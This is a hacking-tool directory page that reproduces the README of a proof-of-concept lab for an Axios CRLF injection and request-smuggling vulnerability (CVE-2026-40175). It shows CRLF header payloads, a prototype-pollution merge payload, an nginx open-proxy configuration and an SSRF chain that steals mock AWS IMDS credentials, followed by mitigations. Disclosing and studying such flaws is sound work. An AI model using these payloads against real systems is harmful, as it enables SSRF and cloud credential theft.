Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/pjt3591oo/cve-2026-40175-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubpjt3591oo/cve-2026-40175-poc

CVE-2026-40175-poc

Proof-of-concept demonstrating CRLF injection and HTTP request smuggling in Axios, chaining prototype pollution to achieve SSRF and access internal services like IMDS.

View Repository
35 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-40175 — Axios CRLF Injection / HTTP Request Smuggling PoC

Overview

A CRLF injection vulnerability caused by AxiosHeaders.set() in the Axios HTTP client (>=1.0.0 <1.15.0, <0.31.0) failing to validate \r\n within header values.

An attacker can chain this with Prototype Pollution (lodash, qs, etc.) or directly inject CRLF into headers, enabling SSRF to arbitrary internal servers through an intermediate layer such as an nginx open proxy.

ItemDetails
CVSS9.9 (Critical)
Affected Versionsaxios >=1.0.0 <1.15.0, axios <0.31.0
Patched Versions1.15.0, 0.31.0
CWECWE-93 Improper Neutralization of CRLF Sequences

Root Cause

root@kitploit:~
lib/core/AxiosHeaders.js  AxiosHeaders.set()
  └─ normalizeValue()
       └─ Removes only trailing CRLF with /[\r\n]+$/
          ↑ \r\n in the middle of the value passes through unchanged

As a result, inserting \r\n\r\nGET /admin HTTP/1.1\r\n... into a header value embeds a second HTTP request directly into the TCP stream.


Prototype Pollution

Concept

Every object in JavaScript inherits from Object.prototype. Prototype Pollution is an attack that pollutes this shared prototype itself, affecting all objects created afterward.

root@kitploit:~
Object.prototype.isAdmin = true;

const user = {};
user.isAdmin;  // true ← exists without ever being declared

Trigger Mechanism

It occurs when a vulnerable recursive merge function (lodash < 4.17.21, qs, etc.) does not specially handle the "__proto__" key.

root@kitploit:~
function vulnerableMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      vulnerableMerge(target[key], source[key]);
      // When key = "__proto__":
      //   target["__proto__"] → returns Object.prototype
      //   → vulnerableMerge(Object.prototype, source["__proto__"])
      //   → injects properties directly into Object.prototype
    } else {
      target[key] = source[key];
    }
  }
}

// Attacker JSON: __proto__ is parsed as an own property
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);

({}).headers;  // { 'X-Smuggle': 'evil\r\n...' } ← pollution successful

Axios Connection

root@kitploit:~
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
         ↓
App code: const opts = {};
         opts.headers  →  prototype chain  →  returns polluted object
         ↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
         ↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...')  ← no CRLF validation
         ↓
Smuggled request included in the TCP stream

Caution: Side Effects of Widespread Pollution

Polluting Object.prototype.headers also affects axios's internal schema objects.

root@kitploit:~
When assertOptions(config, schema) is called
  schema['headers']  →  prototype chain  →  returns polluted object
  validator(value)   →  calls object as a function  →  TypeError

In a real attack, the pollution scope must be precisely controlled; widespread pollution can crash the application itself before the intended attack (DoS side effect).


Attack Chain

root@kitploit:~
[1] Direct header injection or Prototype Pollution (via vulnerable merge library)
        ↓
[2] Axios serializes the CRLF-containing value as a header without validation
        ↓
[3] Written to the TCP stream via raw net.Socket
        (Node.js's default http module blocks this at runtime → custom adapter required)
        ↓
[4] nginx (proxy_pass http://$http_host) parses it as two separate requests
        ↓
[5] The smuggled request is routed to a different upstream based on its Host header (SSRF)
        ↓
[6] Access to internal servers (IMDS, etc.) → credential theft

Key Conditions

ConditionDetails
Bypass Node.js http moduleUse a custom adapter based on net.Socket
nginx open proxyproxy_pass http://$http_host configuration
ignore_invalid_headers onAllows malformed headers
resolver directiveEnables dynamic hostname resolution

PoC Architecture

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  Host Machine                                           │
│                                                         │
│  test-axios-adapter-*.js                                │
│  (raw net.Socket → nginx:8080)                          │
│                                                         │
│  browser → exploit.html (3003)                          │
│         → relay (3004) → raw socket → nginx:8080        │
└────────────────────┬────────────────────────────────────┘
                     │ Docker bridge (cve-net)
          ┌──────────┼──────────┬──────────────┐
          ▼          ▼          ▼              ▼
      backend     nginx       imds           (future)
      :3001       :8080       :80
      :3003                   (169.254.169.254 mock)
      :3004

Port Map

PortServiceRole
3001backendReceives HTTP requests / logs headers
3003backendStatic server for exploit.html
3004backendRelay — converts browser POST → net.Socket
8080nginxOpen proxy (proxy_pass http://$http_host)
80 (internal)imdsAWS IMDSv2 mock server

Execution

root@kitploit:~
# Build and start all containers
docker compose up --build

# Run Node.js tests (from the host)
npm install

Tests by Scenario

root@kitploit:~
# 1. Direct to backend — CRLF injection produces 2 requests
node poc/test-axios-adapter-backend.js

# 2. Via nginx — smuggled request is routed to backend:3001
node poc/test-axios-adapter-nginx.js

# 3. Prototype Pollution → CRLF Injection → SSRF chain
node poc/test-prototype-pollution.js

# 4. Browser — http://localhost:3003
#    Select target: direct backend / via nginx / nginx → IMDS (SSRF)

IMDS SSRF Scenario

root@kitploit:~
1. Select nginx → IMDS and run the Custom Adapter
2. Smuggled request: GET /latest/meta-data/iam/security-credentials/my-ec2-role
                     Host: imds
3. nginx routes to host=imds → forwarded to the IMDSv2 mock server
4. imds container log: [!!!] Credential theft successful!

File Structure

root@kitploit:~
.
├── docker-compose.yml
├── Dockerfile.backend          # backend + relay container
├── Dockerfile.imds             # IMDSv2 mock container
├── package.json                # [email protected] (vulnerable version pinned)
└── poc/
    ├── backend-server.js       # HTTP server (3001), relay (3004), static server (3003)
    ├── mock-imds.js            # AWS IMDSv2 mock (PUT /token, GET /credentials)
    ├── nginx-container.conf    # open proxy configuration
    ├── exploit.html            # browser PoC (XHR vs Custom Adapter)
    ├── test-axios-adapter-backend.js   # raw socket → backend directly
    ├── test-axios-adapter-nginx.js    # raw socket → nginx → backend/imds
    ├── test-axios-no-adapter.js       # standard axios (to confirm Node.js blocking)
    └── test-prototype-pollution.js    # Prototype Pollution → CRLF Injection chain

nginx Configuration (Key Part)

root@kitploit:~
resolver 127.0.0.11 valid=30s;   # Docker internal DNS

location / {
    proxy_pass         http://$http_host;   # dynamic routing based on Host header = SSRF
    proxy_http_version 1.1;
    proxy_set_header   Connection "";
    proxy_set_header   Host $http_host;
}

location /public {
    proxy_pass         http://backend:3001;  # fixed upstream for legitimate requests
}

Since $http_host (including the port) is used as the upstream, the Host header of the smuggled request becomes the routing destination.


Mitigation

root@kitploit:~
npm install axios@^1.15.0

The patch (1.15.0) introduces assertValidHeaderValue() to immediately reject values containing CR/LF.

Additional defenses:

  • Prohibit proxy_pass http://$http_host in nginx → use fixed upstreams
  • Enforce IMDSv2 only (HttpTokens: required)
  • Apply least-privilege permissions to EC2 instance profiles

References

  • NVD - CVE-2026-40175
  • Miggo Vulnerability DB
  • Aikido — Is it really exploitable?
  • CVEReports
Download Tool